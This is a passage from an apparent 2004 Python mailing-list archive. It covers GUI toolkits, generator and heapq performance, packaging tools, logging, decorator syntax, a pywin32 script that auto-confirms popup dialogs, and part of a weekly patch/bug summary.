<cin0d0$ani$1@avnika.corp.mot.com> I'm investigating the feasibility of using Python instead of Visual Basic for a commercial software package that I'm planning on developing. Now I'm absolutely a Python zealot. I use it for most of my software development at work where I work in a Solaris environment. To me, Python is the perfect language for most applications in a UNIX environment where a compiled language is not required. However, I'm not so sure about Windows. The software package I'm developing will make calls to Excel and Access and requires a very usable GUI for users who are not particularly computer literate. My first question is: what is the best choice for a GUI toolkit on Windows? I've used Tkinter for UNIX to some degree of success, but I'm not sure this is the best choice for Windows. Second, if I choose to make the application cross-platform (Windows and Mac OS X in particular), what would be the best choice for a cross-platform GUI toolkit? I was thinking of looking at PyQt. Is there a better option? Basically, I'm trying to make a case for Python to the other developers of this software package as I believe it offers numerous advantages over VB in terms of speed of development, a quick learning curve, and maintainability. Can anyone help me make that case? Thanks, Aaron From khaidarx at yahoo.com Thu Sep 23 05:27:46 2004 From: khaidarx at yahoo.com (Abdullah Khaidar) Date: 23 Sep 2004 02:27:46 -0700 Subject: Comparation to other languages Message-ID: <d8025bdb.0409230127.369f63c3@posting.google.com> I've read some language -include python- comparation texts (benchmarks). But they are very old, so that I'm doubt about their results. Does anyone know language comparation texts which compare recent version of python -python 2.3- with some other languages? M. Abdullah Khaidar -- http://khaidarmak.blogspot.com From aleaxit at yahoo.com Sun Sep 26 05:47:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 11:47:03 +0200 Subject: Question: How efficient is using generators for coroutine-like problems? References: <mailman.3801.1095959370.5135.python-list@python.org> Message-ID: <1gkpx50.1rv6aq03ovbehN%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: ... > result += ["Start of processing"] I would suggest result.append('Start of processing'). As you're concerned with performance, see...: kallisti:~/cb alex$ python2.4 timeit.py -s'r=[]' 'r+=["goo"]' 1000000 loops, best of 3: 1.45 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'r=[]' 'r.append("goo")' 1000000 loops, best of 3: 0.953 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'r=[]; a=r.append' 'a("goo")' 1000000 loops, best of 3: 0.556 usec per loop i.e. you can get result.append into a local once at the start and end up almost 3 times faster than with your approach, but even without this you're still gaining handsomely with good old result.append vs your preferred approach (where a singleton list gets created each time). > Now, just because I can do it does not mean it's a good idea :-) For > particular cases, a measurement can be done. But I'm curious about the > generic case. What is the performance penalty of using generators in > situations as the ones shown above? Sorry, there's no "generic case" that I can think of. Since implementations of generators, list appends, etc, are allowed to change and get optimized at any transition 2.3 -> 2.4 -> 2.5 -> ... I see even conceptually no way to compare performance except on a specific case. "Generally" I would expect: if you're just looping on the result, a generator should _gain_ performance wrt making a list. Consider cr.py: x = map(str, range(333)) def withapp(x=x): result = [] a = result.append for item in x: a(item) return result def withgen(x=x): for item in x: yield item kallisti:~/cb alex$ python2.4 timeit.py -s'import cr' 'for x in cr.withapp(): pass' 1000 loops, best of 3: 220 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'import cr' 'for x in cr.withgen(): pass' 1000 loops, best of 3: 200 usec per loop The difference is more pronounced in 2.3, with the generator clocking in at 280 usec, the appends at 370 (anybody who's interested in speed has hopefully already downloaded 2.4 and is busy trying it out -- I can't see any reason why not... even though one obviously can't yet deliver to customers stuff based on what's still an alpha release, of course, at least one can TRY it and pine for its general speedups;-). A join is different...: kallisti:~/cb alex$ python2.4 timeit.py -s'import cr' '"\n".join(cr.withgen())' 1000 loops, best of 3: 274 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'import cr' '"\n".join(cr.withapp())' 1000 loops, best of 3: 225 usec per loop (speed difference was less pronounced in 2.3, 360 vs 350). Yeah, I know, it's not easy to conceptualize -- if looping is faster why is joining slower? "Implementation details" of course, and just the kind of thing that might change any time, if some nice free optimization can be obtained hither or yon...! Alex From jfabiani at yolo.com Fri Sep 17 14:08:19 2004 From: jfabiani at yolo.com (John Fabiani) Date: Fri, 17 Sep 2004 18:08:19 GMT Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <pan.2004.09.17.13.52.16.705912@thomas-guettler.de> <c8E2d.16815$QJ3.1403@newssvr21.news.prodigy.com> <O7OdncbCX_O7gtbcRVn-vQ@giganews.com> Message-ID: <nKF2d.16866$QJ3.7337@newssvr21.news.prodigy.com> Istvan Albert wrote: > John Fabiani wrote: > >> Actually it's very useful. In the Java world you can set a central >> location >> that a webstart program checks for possible updates. It's very cool. > > Only that it doesn't really work in practice. Read more here: > > http://www.dynamicobjects.com/d2r/archives/2004_07_09.html > > > Istvan I agree it's not perfect - but I still think it's cool. I have only one site that is using webstart. It took about a week to get everyone up to speed and now it has worked like clock work for about a year. John From claird at lairds.us Sat Sep 25 21:08:04 2004 From: claird at lairds.us (Cameron Laird) Date: Sun, 26 Sep 2004 01:08:04 GMT Subject: Wrapping Python ? References: <INWdnakjH77cbcncRVn-ig@comcast.com> <g_GdnVVeza2_Z8ncRVn-sg@powergate.ca> <YImdncwyArIjXcjcRVn-og@comcast.com> <ol3h22-ilt.ln1@home.rogerbinns.com> Message-ID: <33fh22-pfv.ln1@lairds.us> In article <ol3h22-ilt.ln1 at home.rogerbinns.com>, Roger Binns <rogerb at rogerbinns.com> wrote: >USCode wrote: >> subdirectory. From the Starkit website - "A Starkit creates the >> illusion of a "file system in a file" - on the outside, it's a single >> file, yet the application code continues to see a complete directory >> of scripts, extensions, packages, images, and whatever other files it >> needs." > >So what is done about shared libraries? Python includes a number of >shared libraries (dll/so), several of which can end up being needed, even >by relatively simple apps. On Windows, the Python interpretter itself >is a shared library (python23.dll). For a more non-trivial app such >as my BitPim program, there are 45 libraries that end up needing to be >packaged. (A lot of this is because it is common practise to split >larger packages such as wxPython and win32all into numerous independent >sub-libraries). > >py2exe and tools like that (eg cx-Freeze) do package everything into >one file, except the shared libraries are left as seperate files, >and user files are as well (since you have to have seperate files >anyway for the libraries). > >The problem with shared libraries is that they have to be seperate >files for the OS to load them properly. One variant of the McMillan >installer effectively extracted them at run time, but that introduces >a whole host of problems such as the user needing write permission to >the filesystem, security (eg a shared /tmp), and that the libraries >may not end up being shared between processes (due to being extracted >to different locations for security reasons). > >I tried the demo (Fractal Mountains) and can't see how it deals with >the shared library issue. . . . Exactly: taking care of shared libraries as you describe (I *think* Starkits currently assume responsibility for writing 'em into the real file system, and loading from there) (and, yes, I know that has security consequences) is one of Starkit's benefits. Peter, it really is neat beyond belief. From erik at heneryd.com Mon Sep 20 10:12:09 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 20 Sep 2004 16:12:09 +0200 Subject: How to count lines in a text file ? In-Reply-To: <20040920132748.GA13012@unununium.org> References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <20040920132748.GA13012@unununium.org> Message-ID: <414EE539.7010900@heneryd.com> Phil Frost wrote: > another alternative is to use the standard posix program "wc" with the > -l option, but this isn't Python. > Not the same thing. wc -l counts newline bytes, not "real" lines. Erik From squan at web.de Thu Sep 2 05:44:03 2004 From: squan at web.de (Stefan Quandt) Date: 2 Sep 2004 02:44:03 -0700 Subject: detecting boxes in windows using python References: <a1e5746a.0409011857.6dc229d3@posting.google.com> Message-ID: <ae5c48d7.0409020144.6ecec81d@posting.google.com> bill.ramsay at clear.net.nz (bill ramsay) wrote in message news:<a1e5746a.0409011857.6dc229d3 at posting.google.com>... I just wrote a comfortable solution for this purpose, including logging to stdout. The main functionality is in function ConfirmDialog() Just copy code below to a python file and edit the PopupNames global variable. Prerequisite: You will have to install python windows extensions from http://starship.python.net/crew/mhammond/ <code> """ Automatical confirmation of popup windows. """ from win32con import * from win32api import * from win32ui import * from win32gui import GetClassName from win32event import * from time import time, ctime, sleep import sys # Captions (titles) of popup windows to confirm # EDIT THIS PopupNames = ( 'Error', 'Information', 'Install Dialler', # You better delete this line :-) ) def GetWindowText( Window ): """ Get text of all 'Static' elements of windows and return concatenated. """ Child, Text = None, '' while 1: try: Child = FindWindowEx( Window, Child, 'Static', None ) except: break Text += '\n\t'.join( Child.GetWindowText().split( '\r' ) ) return Text def FindControl( Window, CName = 'OK', CType = 'Button' ): """ Find control with name CName in Window @arg Window: Top level window @type Window: PyCWnd @arg CName: Control Name @type CName: string @arg CType: Control class @type CType: string @return Control @rtype: PyCwnd """ return FindWindowEx( Window, None, CType, CName ) def ConfirmDialog( Window, BName = None, Delay = 0.5 ): """ Find button with name BName in Window and simulate a button activation. @arg WName: Window Name @type WName: string @arg BName: Button Name @type BName: string @return: Button in case of success, negative error code else @rtype: PyCWnd """ # Find Button Button = FindControl( Window, BName ) Button.SendMessage( BM_SETSTATE, 1, 0 ) sleep( Delay ) # Window should show up at least for half a second. # Simulate button press to confirm window idButton = Button.GetDlgCtrlID() hButton = Button.GetSafeHwnd() Caption = Window.GetWindowText() Window.SendMessage( WM_COMMAND, MAKELONG( idButton, BN_CLICKED ), hButton ) print ctime( time() ), "Confirmed '%s'" %Caption return Button if __name__ == '__main__': # Program parameters and options ConfDelay = 0.5 if '-i' in sys.argv: ConfDelay = 0 print ctime( time() ), "%s started" %sys.argv[ 0 ] while 1: for Name in PopupNames: try: Window = FindWindow( None, Name ) except: continue # Extract text information from Popup (for logging). Message = GetWindowText( Window ) # Get message text before window disappears ConfirmDialog( Window, 'OK', ConfDelay ) if Message: print '\t' + Message break sleep( 1 ) </code> Regards Stefan > Dear all. > > I am using an existing hodge-podge of an application that runs on top > of an Access database. This application dials up customer equipment, > handshakes then downloads/uploads various bits of information in the > access database. > > The original application is designed for some poor sod to sit there > for hours and manually do the necessary. > > I have automated various processes by 'back filling' the access > database, thereby fooling the application into doing what I want. > > The problem that I have is that if the application comes across a busy > signal, or if the call fails for what ever reason, it displays an > error dialog box on the pc. If there are a lot of these, it causes > the app to hang. > > The underlying log files in the access database are still updated. > > Is there a way in python to detect these dialog boxes, then > effectively close them? either by pressing the boxes own close > button, or the little cross thingy on the top right corner (i don't > know what it is called). > > The OS is win2k, latest service pack. > > Any help that any of you can offer will be most greatfully received. > > Kind regards > > Bill From godoy at ieee.org Fri Sep 24 12:13:41 2004 From: godoy at ieee.org (Jorge Godoy) Date: Fri, 24 Sep 2004 13:13:41 -0300 Subject: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> Message-ID: <m37jqjfxvu.fsf@g2ctech.com> Carlos Ribeiro <carribeiro at gmail.com> writes: > I'm using Crimson Editor, a small freeware editor. The most > interesting part is that it isn't the most featured of all editors > I've tried; it isn't as powerful as vi or emacs, but has one feature > that I wanted the most, that is a fairly simple project management > tool. It simply allows me to organize a list of files that I'm using > for a project on the left pane. I can click on a file to open it. It's > amazingly useful when you're dealing with "hot" files stored on > several different directories, and you don't have to remember where is > it located, or to manually walk the open file dialog looking for it. I'm an Emacs user, but you might try looking at http://ecb.sf.net as a 'plugin' to (X)Emacs. It comes installed with XEmacs... Also, I can't help with Windows. I find that tools there are very poor when compared to what we have on unices :-) -- Godoy. <godoy at ieee.org> From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Sun Sep 26 08:11:07 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Sun, 26 Sep 2004 13:11:07 +0100 Subject: ANN: Logging Package v0.4.9.4 released In-Reply-To: <2e37dc1.0409260220.6ad5cb6c@posting.google.com> References: <2e37dc1.0409230442.7e74543d@posting.google.com> <4edc17eb.0409232031.66ad3d4e@posting.google.com> <2e37dc1.0409260220.6ad5cb6c@posting.google.com> Message-ID: <cj6bku$qeh$1@pegasus.csx.cam.ac.uk> Vinay Sajip wrote: > What exactly is hard to use? An example of the minimalist way of > logging: > > import logging > > logging.warn("This is your %s warning", "first") > #similarly you can call logging.debug(), logging.info() etc. Wow. I never realized you could do that. Apparently I'm not the only one. I think it is mainly a problem with the documentation. My personal experience: I found that on the top-level logging module documentation there's about 2.5 pages of text that seems to go on and on in much more detail than I wanted for a simple use case. So I look for an example. Aha! There's a "basic example" page. But the "basic example" given in the docs has 7 lines of setup before I can even add something to the log. I always assumed that most of that was necessary. I personally have found the logging module very useful when I have used it. Now that I know how easy it is to get access to the root logger I'll use it a lot more! -- Michael Hoffman From brenNOSPAMbarn at NObrenSPAMbarn.net Sun Sep 26 13:32:24 2004 From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke)) Date: 26 Sep 2004 17:32:24 GMT Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <mailman.3855.1096035438.5135.python-list@python.org> <Xns956EDE04B1B03OKB@130.133.1.4> <mailman.3907.1096136449.5135.python-list@python.org> <Xns956F822D03E24OKB@130.133.1.4> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> <mailman.3917.1096163923.5135.python-list@python.org> <Xns956FC698DBC7DOKB@130.133.1.4> <mailman.3925.1096201695.5135.python-list@python.org> Message-ID: <Xns95706B302B81OKB@130.133.1.4> Ed Leafe wrote: > Forgive me if this is an oversimplification, but it looks like > what > you want is an XML-based definition of your UI objects, and are > trying to approximate that with Python syntax. You're partially right, I suppose, in that the usual structure of XML is more like this than the usual structure of Python code. As Carlos mentioned, however, an important point (which I neglected to explicitly put into my example) is that if you're doing it in Python you can include actual Python code in the GUI definition. I admit there's a certain attraction to totally separating the layout from the code by using XML (or whatever) to define the layout and then linking it up with Python code, but on the other hand it's confusing to have a button defined someplace and have what it does defined in a completely different place. -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From jerf at jerf.org Thu Sep 16 14:42:17 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Thu, 16 Sep 2004 18:42:17 GMT Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: <cibkl1$395$07$1@news.t-online.com> Message-ID: <pan.2004.09.17.12.13.11.143566@jerf.org> On Thu, 16 Sep 2004 10:59:12 +0200, Peter Otten wrote: > Let's plan on doing the following. If in the next 7 days there's no > indication that some group of users wants to rally for a different > character, the decision to keep @ is made final on Sept 23. To change > the character, somebody will need to start rallying for a different > character, and be able to show signs of significant support by that > date. Hmmmm... what's the Unicode point for the Chinese ideogram closest in meaning to "decorator"? Combines all the advantages of "one character" with all the advantages of "descriptive keyword" all at once. What possible counter-arguments could be brought to bear? All-the-keywords-should-be-Unicode-Chinese-ly yrs, Jeremy Bowers From peter at engcorp.com Tue Sep 14 17:56:50 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 17:56:50 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <o_2dneOzsIpU_NrcRVn-sg@adelphia.com> References: <mailman.3261.1095106220.5135.python-list@python.org> <656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com> <lrmdnUYdl8VVzNrcRVn-pA@powergate.ca> <o_2dneOzsIpU_NrcRVn-sg@adelphia.com> Message-ID: <2pSdnfZLRey-9NrcRVn-rg@powergate.ca> Rob McCrea wrote: > Peter Hansen wrote: >> As Thomas is, I'm very curious why you would say that. > > If moving to anything after win98se, I would (of course?) suggest XP, > but certainly not for a 500mHz with 64MB RAM. "if it costs some > performance" is a huge understatement. Granted. :-) > Maybe my personal summary is that there are only > two Windows operating systems, 98SE and XPPro; all the others have been > surpassed, IMHO. Agreed there too. (And while I said XP, I did mean XP Pro.) > and lastly did not mention the term "dos-box" (even if said > facetiously in regards to that certain perspective of mine), I can't > imagine I would have tossed out my two cent. I happen to spend a lot of time at the "DOS" console (actually, I suppose it's whatever cmd.exe is, not command.com, but for purposes of this post the differences are largely irrelevant) and don't find it particular limited. That's almost entirely, however, because I've learned to depend very little on the tools that I use, for a number of reasons. I now work almost exclusively with Scite, Subversion (via TortoiseSVN), and the console, and I'm at least as productive as I ever was with a large array of much fancier tools at my fingertips. But my approach to development is rather different from that used by those who would prefer a fancy IDE, and as to that: to each his own. :-) Cheers, -Peter From tim.peters at gmail.com Sun Sep 5 17:52:35 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 5 Sep 2004 17:52:35 -0400 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <1gjnodi.1tda7xkabfdo4N%aleaxit@yahoo.com> References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <mailman.2878.1094332489.5135.python-list@python.org> <1gjnodi.1tda7xkabfdo4N%aleaxit@yahoo.com> Message-ID: <1f7befae0409051452932d18f@mail.gmail.com> [Alex Martelli] >> Note that Raymond Hettinger added efficient nlargest() and >> nsmallest() functions to heapq for 2.4. Because heapq implements >> a min-heap, only nlargest() is really "natural" for this module, but >> nsmallest() does what it can ... [Tim Peters] > Hmmm, am I reading this wrong...? getting the min N times seems > easy, wouldn't that be nsmallest...? You're reading it right, but it's a bit paradoxical. Suppose you want the N extremes from an iterable of length M, and N is much smaller than M, and you have a min-heap to work with. If the extremes you want are the N largest, a min-heap of size N (not M!) suffices to get them. See the 2.4 code for details, but it's a simple matter of keeping the N largest seen so far. A min-heap is perfect for that, because the smallest of the largest N seen so far is the smallest element of the current heap, and "the smallest" is what a min-heap delivers most efficiently. So the main loop looks like sol = result[0] # sol --> smallest of the nlargest for elem in it: if elem <= sol: continue _heapreplace(result, elem) sol = result[0] where "result" contains (just) N elements, and the iterable doesn't need to be materialized into a giant list first. Even better, under many input conditions, "elem <= sol" will usually be true, so the inner loop is very fast. Its worst case is when the iterable is in sorted increasing order (and then "elem <= sol" is never true, and we have to do _heapreplace each time). If instead you want the N smallest, a heap of (much larger) size M is the obvious way to do it, materializing the input iterable into a giant list (of size M), heapify()'ing that, and then heappop()'ing N times. That's less efficient on all counts. So, in fact, if N is much less than M, heapq.nsmallest() actually uses a different approach -- one that doesn't use a heap at all! >> ... what it can. Neither works as a generator. There are elegant >> ways to implement mergesort as a cascade of (O(N)!) recursive >> generators, but they're horrendously slow in comparison. > Ouch, I _DID_ know I had to traipse more carefully through 2.4's > sources... I had missed this ones!!! Thanks, they're going into the > appropriate recipes (in the Searching and Sorting chapter -- whose > introduction you'll no doubt have to vastly rewrite, btw...) ASAP. I look forward to it <wink>. Just to be clear, there is no code in 2.4 to do mergesort via recursive generators. nlargest() and nsmallest() are there, and they're practical. > heapq _should_ have reversed= like list.sort, to make a maxheap > almost as easy as a minheap (and key= too of course), but that's > another fight^H^H^H^H^H debate... At that point I'd regret not making these things classes. They were meant to be simple. Maybe fancier stuff can go in the new-in-2.4 collections module (which, again thanks to Raymond, has a new C-coded deque type with constant-time insert and remove from both ends, and regardless of access pattern (no "bad cases") -- and, e.g., Queue.Queue uses collections.deque as its container type now). ... [timing] ... > And what about the heapsorts...? It probably depends on what you > mean by 'usually', but...: > > with s.py being: > import heapq, random > > def top3_heapq(s): > return heapq.nsmallest(3, s) > > def top3_sort(s): > return sorted(s)[:3] > > x1 = range(1000) > random.shuffle(x1) > > on my old-ish iBook with Python 2.4 alpha 3 I see...: > > kallisti:~/cb/cha/sys/cba alex$ python ~/cb/timeit.py -s'import s' 's.top3_heapq(s.x1)' > 1000 loops, best of 3: 656 usec per loop > kallisti:~/cb/cha/sys/cba alex$ python ~/cb/timeit.py -s'import s' 's.top3_sort(s.x1)' > 100 loops, best of 3: 4e+03 usec per loop The heapq methods are practical (as you just demonstrated). The recursive-generator mergesorts really aren't. Besides just the overhead of Python, they've got the overhead of creating ~= len(list) generators, suspending and resuming them incessantly. By the time the list is big enough to overcome all those time overheads, chances are you'll start running out of RAM. From kbk at shore.net Fri Sep 17 00:14:02 2004 From: kbk at shore.net (Kurt B. Kaiser) Date: Fri, 17 Sep 2004 00:14:02 -0400 (EDT) Subject: Weekly Python Patch/Bug Summary Message-ID: <200409170414.i8H48pF8022459@h006008a7bda6.ne.client2.attbi.com> Patch / Bug Summary ___________________ Patches : 241 open ( -6) / 2622 closed (+26) / 2863 total (+20) Bugs : 764 open ( +6) / 4453 closed (+38) / 5217 total (+44) RFE : 150 open ( +2) / 131 closed ( +0) / 281 total ( +2) New / Reopened Patches ______________________ Use Py_CLEAR where necessary to avoid crashes (2004-09-01) http://python.org/sf/1020188 reopened by mwh Decimal performance enhancements (2004-09-02) http://python.org/sf/1020845 opened by Nick Coghlan topdir calculated incorrectly in bdist_rpm (2004-09-03) http://python.org/sf/1022003 opened by Anthony Tuininga add support for the AutoReq flag in bdist_rpm (2004-09-03) http://python.org/sf/1022011 opened by Anthony Tuininga Improve Template error detection and reporting (2004-09-03) CLOSED http://python.org/sf/1022173 opened by Raymond Hettinger test_random depends on os.urandom (2004-09-03) CLOSED http://python.org/sf/1022176 opened by Raymond Hettinger Conserve memory with list.pop() (2004-09-06) CLOSED http://python.org/sf/1022910 opened by Raymond Hettinger CodeContext - an extension to show you where you are (2004-04-16) http://python.org/sf/936169 reopened by noamr Add arguments to RE functions (2004-09-08) CLOSED http://python.org/sf/1024041 opened by Noam Raphael Fix for 1022152 (2004-09-08) CLOSED http://python.org/sf/1024238 opened by Andrew Durdin Error when int sent to PyLong_AsUnsignedLong (2004-09-08) http://python.org/sf/1024670 opened by Clinton R. Nixon Check for NULL returns in compile.c:com_import_stmt (2004-09-10) http://python.org/sf/1025636 opened by Dima Dorfman Add status code constants to httplib (2004-09-10) http://python.org/sf/1025790 opened by Andrew Eland Clarify language in Data Structures chapter of tutorial (2004-09-10) CLOSED http://python.org/sf/1025795 opened by Dima Dorfman Fix TeX pasto in liboptparse.tex (2004-09-10) CLOSED http://python.org/sf/1025800 opened by Dima Dorfman typo repair (2004-09-12) CLOSED http://python.org/sf/1026384 opened by George Yoshida Add keyword arguments to Template substitutions (2004-09-12) CLOSED http://python.org/sf/1026859 opened by Raymond Hettinger building on OpenBSD 3.5 (2004-09-12) CLOSED http://python.org/sf/1026986 opened by Trevor Perrin Specify a source baseurl for bdist_rpm. (2004-09-15) http://python.org/sf/1028432 opened by Chris Ottrey Adding IPv6 host handling to httplib (2004-09-15) http://python.org/sf/1028502 opened by David Mills Changes to cookielib.py & friends for 2.4b1 (2004-09-16) http://python.org/sf/1028908 opened by John J Lee tarfile.py longnames are truncated in getnames() (2004-09-16) http://python.org/sf/1029061 opened by Lars Gust?bel Patches Closed ______________ Use Py_CLEAR where necessary to avoid crashes (2004-09-01) http://python.org/sf/1020188 closed by rhettinger Py_CLEAR to implicitly cast its argument to PyObject * (2004-09-01) http://python.org/sf/1020185 closed by rhettinger Implementation for PEP 318 using syntax J2 (2004-08-22) http://python.org/sf/1013835 closed by ms_ fix for several sre escaping bugs (fixes #776311) (2004-08-29) http://python.org/sf/1018386 closed by niemeyer Improve Template error detection and reporting (2004-09-03) http://python.org/sf/1022173 closed by rhettinger test_random depends on os.urandom (2004-09-03) http://python.org/sf/1022176 closed by rhettinger bsddb's DB.keys() method ignores transaction argument (2004-08-26) http://python.org/sf/1017405 closed by greg Conserve memory with list.pop() (2004-09-06) http://python.org/sf/1022910 closed by rhettinger PEP 292 reference implementation (2004-03-23) http://python.org/sf/922115 closed by bcannon Multi-line strings and unittest (2004-08-30) http://python.org/sf/1019220 closed by purcell Decoding incomplete unicode (2004-07-27) http://python.org/sf/998993 closed by doerwalter Add arguments to RE functions (2004-09-07) http://python.org/sf/1024041 closed by rhettinger Fix for 1022152 (2004-09-08) http://python.org/sf/1024238 closed by jlgijsbers Fix for duplicate attributes in generated HTML (2004-08-20) http://python.org/sf/1013055 closed by fdrake Address bug 980938, add set_debug_output() function (2004-07-03) http://python.org/sf/984492 closed by jlgijsbers make test_fcntl 64bit clean (2003-09-13) http://python.org/sf/805626 closed by loewis NetBSD py_curses.h fix (2003-09-15) http://python.org/sf/806800 closed by loewis Add script support to bdist_rpm.py (2003-09-17) http://python.org/sf/808115 closed by loewis Add --force-arch=ARCH to bdist_rpm.py (2003-09-17) http://python.org/sf/808120 closed by loewis Clarify language in Data Structures chapter of tutorial (2004-09-10) http://python.org/sf/1025795 closed by jlgijsbers Fix TeX pasto in liboptparse.tex (2004-09-10) http://python.org/sf/1025800 closed by jlgijsbers typo repair (2004-09-11) http://python.org/sf/1026384 closed by jlgijsbers make Demo/scripts/primes.py usable as a module (2004-01-04) http://python.org/sf/870286 closed by jlgijsbers reflect the removal of mpz (2003-11-15) http://python.org/sf/842567 closed by jlgijsbers Add keyword arguments to Template substitutions (2004-09-12) http://python.org/sf/1026859 closed by bwarsaw building on OpenBSD 3.5 (2004-09-13) http://python.org/sf/1026986 closed by loewis fix for glob with directories which contain brackets (2003-05-15) http://python.org/sf/738389 closed by progoth New / Reopened Bugs ___________________ a wrong link from "frame object" in lib index (2004-09-01) CLOSED http://python.org/sf/1020540 opened by Ilya Sandler senddigest error (2004-09-01) http://python.org/sf/1020605 opened by James O'Kane PyThreadState_Next not thread safe? (2004-09-02) http://python.org/sf/1021318 opened by John Ehresman Trivial fix for obscure bug in os.urandom() (2004-09-03) http://python.org/sf/1021596 opened by Nick Mathewson use first_name, not first, in code samples (2004-09-02) http://python.org/sf/1021621 opened by Steve R. Hastings 2.4a3: unhelpful error message from distutils (2004-09-03) http://python.org/sf/1021756 opened by Fredrik Lundh Import random fails (2004-09-03) CLOSED http://python.org/sf/1021890 opened by Paul D. Lusk wrong options are set to python.exe (2004-09-03) http://python.org/sf/1022010 reopened by loewis wrong options are set to python.exe (2004-09-04) CLOSED http://python.org/sf/1022010 opened by George Yoshida re.match(), re.MULTILINE and "^" broken (2004-09-03) CLOSED http://python.org/sf/1022030 opened by Pat Notz Bad examples of gettext.translation (2004-09-03) CLOSED http://python.org/sf/1022152 opened by Facundo Batista x, y in curses window object documentation (2004-09-04) http://python.org/sf/1022311 opened by Felix Wiemann Solaris: reentrancy issues (2004-08-29) http://python.org/sf/1018492 reopened by loewis test_xrange fails on osf1 v5.1b (2004-09-06) http://python.org/sf/1022813 opened by roadkill random.shuffle should restrict the type of its argument (2004-09-06) CLOSED http://python.org/sf/1022880 opened by Faheem Mitha Generator exps fail with large value of range (2004-09-06) CLOSED http://python.org/sf/1022912 opened by Andy Elvey make test fails on HP-UX11i (2004-09-06) CLOSED http://python.org/sf/1022951 opened by Richard Townsend binascii.a2b_hqx("") raises SystemError (2004-09-06) CLOSED http://python.org/sf/1022953 opened by Florian Bauer Example does not match diagram. (2004-09-06) CLOSED http://python.org/sf/1023359 opened by Nefarious CodeMonkey, Jr. script which sets random.seed still returns random value (2004-09-07) CLOSED http://python.org/sf/1023453 opened by Faheem Mitha test__locale fails (2004-09-07) CLOSED http://python.org/sf/1023798 opened by Michael Hudson Include/pyport.h: Bad LONG_BIT assumption on non-glibc sys (2004-09-07) http://python.org/sf/1023838 opened by Gregor Richards WinCVS doesn't recognize 2.4a3 (2004-09-08) CLOSED http://python.org/sf/1024427 opened by David W. Thomas struct.calcsize() behaves strangely with short type (2004-09-09) CLOSED http://python.org/sf/1024669 opened by Serafeim Zanikolas shutils.rmtree() uses excessive amounts of memory (2004-09-09) http://python.org/sf/1025127 opened by James Henstridge HTML Documentation for 2.4a3 not found (2004-09-09) http://python.org/sf/1025392 opened by Colin J. Williams email.Utils.parseaddr fails to parse valid addresses (2004-09-09) http://python.org/sf/1025395 opened by Charles asyncore.file_dispatcher should not take fd as argument (2004-09-10) http://python.org/sf/1025525 opened by david houlder tkinter.py invalid number of parameter for _tkinet.create (2004-09-10) CLOSED http://python.org/sf/1025599 opened by bertrandbfr X to the power of 0 may give wrong answer (2004-09-10) CLOSED http://python.org/sf/1025872 opened by Nick Coghlan "ASCII" in doc section "String literals" (2004-09-10) CLOSED http://python.org/sf/1026038 opened by Felix Wiemann Confusing error message when subclassing from invalid base (2004-09-11) CLOSED http://python.org/sf/1026269 opened by Gerrit Holl iso-latin-1 strings and functions lower & upper (2004-09-11) CLOSED http://python.org/sf/1026480 opened by Tomasz Kowaltowski HardwareRandom should be renamed OSRandom (2004-09-13) CLOSED http://python.org/sf/1027105 opened by Trevor Perrin unicode DNS names in socket, urllib, urlopen (2004-09-13) http://python.org/sf/1027206 opened by Damjan Georgievski socket.ssl should explain that it is a 2/3 connection (2004-09-13) http://python.org/sf/1027394 opened by adam goucher Argument missing from calltip for new-style class init (2004-09-13) http://python.org/sf/1027566 opened by Loren Guthrie os.stat errors when using shared drive on XP or NT (2004-09-13) http://python.org/sf/1027570 opened by zeke In DOM Node Objects, add more explanations for insertBefore (2004-09-14) http://python.org/sf/1027771 opened by M.-A. DARCHE Cookies without values are silently ignored (by design?) (2004-09-14) http://python.org/sf/1028088 opened by Doug Sheppard date-datetime comparison (2004-09-14) CLOSED http://python.org/sf/1028306 opened by Donnal Walter get_installer_filename (2004-09-15) http://python.org/sf/1028334 opened by bingo Python 2.3.4 broken? (2004-09-15) CLOSED http://python.org/sf/1028447 opened by Stan Problem linking on windows using mingw32 and C++ (2004-09-15) http://python.org/sf/1028697 opened by Steve Menard No command line args when script run without python.exe (2004-09-16) http://python.org/sf/1029047 opened by Kerim Borchaev PEP 302 loader not carried through by reload function (2004-09-16) http://python.org/sf/1029475 opened by Stephen Haberman test_pep277 fails (2004-09-17) http://python.org/sf/1029561 opened by Marel Baczynski Bugs Closed ___________ Crash from Rapid Clicks (2004-07-14) http://python.org/sf/990911 closed by kbk a wrong link from "frame object" in lib index (2004-09-01) 